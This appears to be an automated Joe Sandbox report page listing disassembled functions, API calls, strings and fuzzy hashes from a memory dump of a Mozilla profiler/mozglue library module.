API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: ac16d4d0d6f9beeaa3fbb56f12024aa09f9e55a9f530c3f4243e569b2ec277cb
Instruction ID: 1c75419332ee999be94102c42528ea51201a85dfbaf45b127cfcdbc58560bc9d
Opcode Fuzzy Hash: ac16d4d0d6f9beeaa3fbb56f12024aa09f9e55a9f530c3f4243e569b2ec277cb
Instruction Fuzzy Hash: B3F0C271E10745ABD7008F22C888676B778FFEB299F214316F94553601E7B4B5D18BD1

Function 6C601700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C601800

Part of subcall function 6C5DCBE8: GetCurrentProcess.KERNEL32(?,6C5A31A7), ref: 6C5DCBF1
Part of subcall function 6C5DCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5A31A7), ref: 6C5DCBFA

Part of subcall function 6C5A4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C5E3EBD,6C5E3EBD,00000000), ref: 6C5A42A9

Strings

{marker.name} - {marker.data.name}, xrefs: 6C6018C7
name, xrefs: 6C601939
Details, xrefs: 6C601925

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: ee621985bec3eba2394d70bdb328da6edcd1836bdf1ad847051889a16cf7c6c7
Instruction ID: f877cb7043d3cdd284f342d1dd8ca80b5f7a95a41425fae7a381bb6044758125
Opcode Fuzzy Hash: ee621985bec3eba2394d70bdb328da6edcd1836bdf1ad847051889a16cf7c6c7
Instruction Fuzzy Hash: 4F71FF70A00706DFCB08DF69C58079ABBB2FF85304F40466DD8155BB41DB74AAA9CBE6

Function 6C5CD468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C5DCBE8: GetCurrentProcess.KERNEL32(?,6C5A31A7), ref: 6C5DCBF1
Part of subcall function 6C5DCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5A31A7), ref: 6C5DCBFA

EnterCriticalSection.KERNEL32(6C62E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C5DD1C5), ref: 6C5CD4F2
LeaveCriticalSection.KERNEL32(6C62E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C5DD1C5), ref: 6C5CD50B

Part of subcall function 6C5ACFE0: EnterCriticalSection.KERNEL32(6C62E784), ref: 6C5ACFF6
Part of subcall function 6C5ACFE0: LeaveCriticalSection.KERNEL32(6C62E784), ref: 6C5AD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C5DD1C5), ref: 6C5CD52E
EnterCriticalSection.KERNEL32(6C62E7DC), ref: 6C5CD690
LeaveCriticalSection.KERNEL32(6C62E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C5DD1C5), ref: 6C5CD751

Strings

MOZ_CRASH(), xrefs: 6C5CD4BB

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 01c8af8999fa44f848580e7a7b5695c36d775f1fb278ff12e4fb0165670c9d1c
Instruction ID: 6073f7b52de7276c14624d6453a21e25677ccea06243d0b83af71556857c1beb
Opcode Fuzzy Hash: 01c8af8999fa44f848580e7a7b5695c36d775f1fb278ff12e4fb0165670c9d1c
Instruction Fuzzy Hash: D651FF71B047018FD314CF69C99471AB7F1EB89304F558A2ED9AAC7B84D774E840CB86

Function 6C5F4630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C5F4721

Strings

profiler-paused, xrefs: 6C5F46E4
-%llu, xrefs: 6C5F4733
., xrefs: 6C5F476A

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 02d2431436505ea390332891be45be20aafe35a8cb4bc334b1bae0802a016e4a
Instruction ID: fb0346b79a0459fbead43eeb43d10f9d903501105c760a2504206c716e89d68f
Opcode Fuzzy Hash: 02d2431436505ea390332891be45be20aafe35a8cb4bc334b1bae0802a016e4a
Instruction Fuzzy Hash: 22414871A047089BCB08DF7DDD9115EBBF5EF85344F10863EE865A7B41EB3498068B46

Function 6C619830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C61985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C61987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6C6198DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6C6198D9

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: 09491b076a8cc46b63939a1ec01e39ea47a57ea8e263522ba440afb22f343c8c
Instruction ID: 6850bd30f4138290602dd65e37943c8c2c363c6bcf4751beb6bc4d4bfeae03df
Opcode Fuzzy Hash: 09491b076a8cc46b63939a1ec01e39ea47a57ea8e263522ba440afb22f343c8c
Instruction Fuzzy Hash: EF313571B002089BDB04AF5DDC409EF77B9DF85318F50842DEA1A9BB40CB35AD058BE9

Function 6C5F46E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C5F4721

Part of subcall function 6C5A4410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C5E3EBD,00000017,?,00000000,?,6C5E3EBD,?,?,6C5A42D2), ref: 6C5A4444

Strings

profiler-paused, xrefs: 6C5F46E4
-%llu, xrefs: 6C5F4733
., xrefs: 6C5F476A

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 378382522e1ec86daa7a7dca2baba677621098ee0109571fd7a527e36f43e025
Instruction ID: bd26a1c4ab554642d0468cab29256e0184eeef609df12e389fb0870c63421e3d
Opcode Fuzzy Hash: 378382522e1ec86daa7a7dca2baba677621098ee0109571fd7a527e36f43e025
Instruction Fuzzy Hash: 13311471F052088BCB0CDF6DDC8129EBBE69B88314F15853EE9159BB41EB7499068B94

Function 6C5FB410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5A4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C5E3EBD,6C5E3EBD,00000000), ref: 6C5A42A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C5FB127), ref: 6C5FB463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5FB4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C5FB4E4

Strings

pid:, xrefs: 6C5FB4DE

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 4d883a7927769a94d0ee5f79526be02d1108bcdbba14c08db3a1fe8a43189b6b
Instruction ID: 8210f7f9c2f7351a1b93f7acc946bda6fccc1073beab081611a6374596c80917
Opcode Fuzzy Hash: 4d883a7927769a94d0ee5f79526be02d1108bcdbba14c08db3a1fe8a43189b6b
Instruction Fuzzy Hash: 8C311531A01204DBDB04EFA9DD84ADEB7B6FF44308F540529D86167A41E736E94ACFA1

Function 6C5BBF00 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

??0ios_base@std@@IAE@XZ.MSVCP140(?,?,?,?,6C607A3F), ref: 6C5BBF11
?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(?,00000000,?,6C607A3F), ref: 6C5BBF5D
??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140(?,6C607A3F), ref: 6C5BBF7E

Strings

al, xrefs: 6C5BBF84

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_streambuf@??0ios_base@std@@?init@?$basic_ios@D@std@@@2@_V?$basic_streambuf@
String ID: al
API String ID: 4279176481-2896146561
Opcode ID: 665267fbbb3a0f8aaa118a07b8066ef0d2ff51ae6b5cd9ba8d8aa8a659180eeb
Instruction ID: 2ff5de2da75b32c2eec15e6996a983c58d4ec4853b527f8414639407750b1d52
Opcode Fuzzy Hash: 665267fbbb3a0f8aaa118a07b8066ef0d2ff51ae6b5cd9ba8d8aa8a659180eeb
Instruction Fuzzy Hash: F911C0793046048FC729CF1CD599966FBF8FF5930A355885DE98A8BB50C731E800CB94

Function 6C5EE550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5EE577
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EE584
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EE5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C5EE8A6

Strings

MOZ_PROFILER_STARTUP, xrefs: 6C5EE5A1, 6C5EE5CC, 6C5EE5FF, 6C5EE62A
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C5EE777
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C5EE826, 6C5EE850
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C5EE722, 6C5EE750, 6C5EE7A2
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C5EE655

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 3c317313831570e106565cfa9fa440b4e86ef5be35e8101c9f864e57c54925fd
Instruction ID: 39bf27d9e90d1baac4db604af5e5dd37337d43ef41b55021859276a121b277f0
Opcode Fuzzy Hash: 3c317313831570e106565cfa9fa440b4e86ef5be35e8101c9f864e57c54925fd
Instruction Fuzzy Hash: 1411C431A04264DFCB009F1AC888B6DBBF4FFC9728F010519E88657651C7B8A805CFDA

Function 6C5F0C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C5F0CD5

Part of subcall function 6C5DF960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C5DF9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C5F0D40
free.MOZGLUE ref: 6C5F0DCB

Part of subcall function 6C5C5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5C5EDB
Part of subcall function 6C5C5E90: memset.VCRUNTIME140(ew`l,000000E5,?), ref: 6C5C5F27
Part of subcall function 6C5C5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C5C5FB2

free.MOZGLUE ref: 6C5F0DDD
free.MOZGLUE ref: 6C5F0DF2

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 504b796e02f183e61f8bbae3592099efa8b2155177eb0de756d9f0703ae93093
Instruction ID: bab8025a9aa4eb61a4ca4f50f68266641b337de3cd6190bcdedef839de4bc89f
Opcode Fuzzy Hash: 504b796e02f183e61f8bbae3592099efa8b2155177eb0de756d9f0703ae93093
Instruction Fuzzy Hash: F9411471A087809BD720CF29C48079AFBE5BFC9614F558A2EE8E887711D770A845CF92

Function 6C5E0800 Relevance: 6.3, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C62E7DC), ref: 6C5E0838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C5E084C
EnterCriticalSection.KERNEL32(?), ref: 6C5E08AF
LeaveCriticalSection.KERNEL32(?), ref: 6C5E08BD
LeaveCriticalSection.KERNEL32(6C62E7DC), ref: 6C5E08D5

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID:
API String ID: 837921583-0
Opcode ID: aabd5555adec934edef5ab27ca509f3a87abaf88d1698cbf14db61ddccfd1a53
Instruction ID: 19ef83c08482a0f8ea3c1b3c8fdfc7837052a99be66e95028db1d22e45cfc859
Opcode Fuzzy Hash: aabd5555adec934edef5ab27ca509f3a87abaf88d1698cbf14db61ddccfd1a53
Instruction Fuzzy Hash: 0F219071A052099BDB048E65DC84BEE7379EF89709F500539D50AA7A40DF39A8058BD4

Function 6C5FCCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C5EDA31,00100000,?,?,00000000,?), ref: 6C5FCDA4

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

Part of subcall function 6C5FD130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C5FCDBA,00100000,?,00000000,?,6C5EDA31,00100000,?,?,00000000,?), ref: 6C5FD158
Part of subcall function 6C5FD130: InitializeConditionVariable.KERNEL32(00000098,?,6C5FCDBA,00100000,?,00000000,?,6C5EDA31,00100000,?,?,00000000,?), ref: 6C5FD177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C5EDA31,00100000,?,?,00000000,?), ref: 6C5FCDC4

Part of subcall function 6C5F7480: ReleaseSRWLockExclusive.KERNEL32(?,6C6015FC,?,?,?,?,6C6015FC,?), ref: 6C5F74EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C5EDA31,00100000,?,?,00000000,?), ref: 6C5FCECC

Part of subcall function 6C5BCA10: mozalloc_abort.MOZGLUE(?), ref: 6C5BCAA2

Part of subcall function 6C5ECB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C5FCEEA,?,?,?,?,00000000,?,6C5EDA31,00100000,?,?,00000000), ref: 6C5ECB57
Part of subcall function 6C5ECB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C5ECBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C5FCEEA,?,?), ref: 6C5ECBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C5EDA31,00100000,?,?,00000000,?), ref: 6C5FD058

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 336706cdab618bdd46f8368f0e60d53fd941aae7f6cb2a35e7dff3cc848d64ed
Instruction ID: 879e78360a411d97b5c7b7ac026dafbc59998bbc5e1c20b802ed3b57d85cdacb
Opcode Fuzzy Hash: 336706cdab618bdd46f8368f0e60d53fd941aae7f6cb2a35e7dff3cc848d64ed
Instruction Fuzzy Hash: CDD15D71A04B469FD718CF28C880B99F7E1BF89304F01866DD96987712EB71B965CF81

Function 6C5B1720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C5B17B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6C5B18EE
free.MOZGLUE(?), ref: 6C5B1911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5B194C

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 7d4c68639027883a4e7c28a67986293f4ff7901181957617ab021ebc429732e0
Instruction ID: 981037f5d17e3700d38bb0e1bd2201113b5d6a94379deae98e077cee1e40fb7b
Opcode Fuzzy Hash: 7d4c68639027883a4e7c28a67986293f4ff7901181957617ab021ebc429732e0
Instruction Fuzzy Hash: 4C81AE70A152059FCB08CF68DCA49AFBBB1FF89314F04452CE811AB754E730E955CBA2

Function 6C5C5C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C5C5D40
EnterCriticalSection.KERNEL32(6C62F688), ref: 6C5C5D67
__aulldiv.LIBCMT ref: 6C5C5DB4
LeaveCriticalSection.KERNEL32(6C62F688), ref: 6C5C5DED

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 5513bd98fd613ddc927b6412ee29fc264908e0a02818c448b4221dedbf3086f9
Instruction ID: 5cdf1b7ede26d27e5f716df1938b1e259e9392feb3a7d64ad937e06b9cdd4693
Opcode Fuzzy Hash: 5513bd98fd613ddc927b6412ee29fc264908e0a02818c448b4221dedbf3086f9
Instruction Fuzzy Hash: 54517071F002298FCF08CFE9C894AAEBBB2FB85304F59462DD811A7750C7346945CB96

Function 6C5ACDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5ACEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C5ACEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C5ACF4E

Strings

0, xrefs: 6C5ACF30

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 230bbc0868a276f63beadac7bbe13db63f8f980cb17d4d1d373b96ef5fa19e25
Instruction ID: 9bc5628d6ed544f5354486608e6306c92b10276516dd9477ed6ce8d75e82b65f
Opcode Fuzzy Hash: 230bbc0868a276f63beadac7bbe13db63f8f980cb17d4d1d373b96ef5fa19e25
Instruction Fuzzy Hash: BD512171A042568FCB01CF19C890AAABBB5EF99300F19859DD8595F752D732FD06CBE0

Function 6C6077D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6077FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6C607829

Part of subcall function 6C5DCC38: GetCurrentProcess.KERNEL32(?,?,?,?,6C5A31A7), ref: 6C5DCC45
Part of subcall function 6C5DCC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6C5A31A7), ref: 6C5DCC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C60789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C6078CF

Part of subcall function 6C5A4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C5A4E5A
Part of subcall function 6C5A4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C5A4E97

Part of subcall function 6C5A4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C5E3EBD,6C5E3EBD,00000000), ref: 6C5A42A9

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
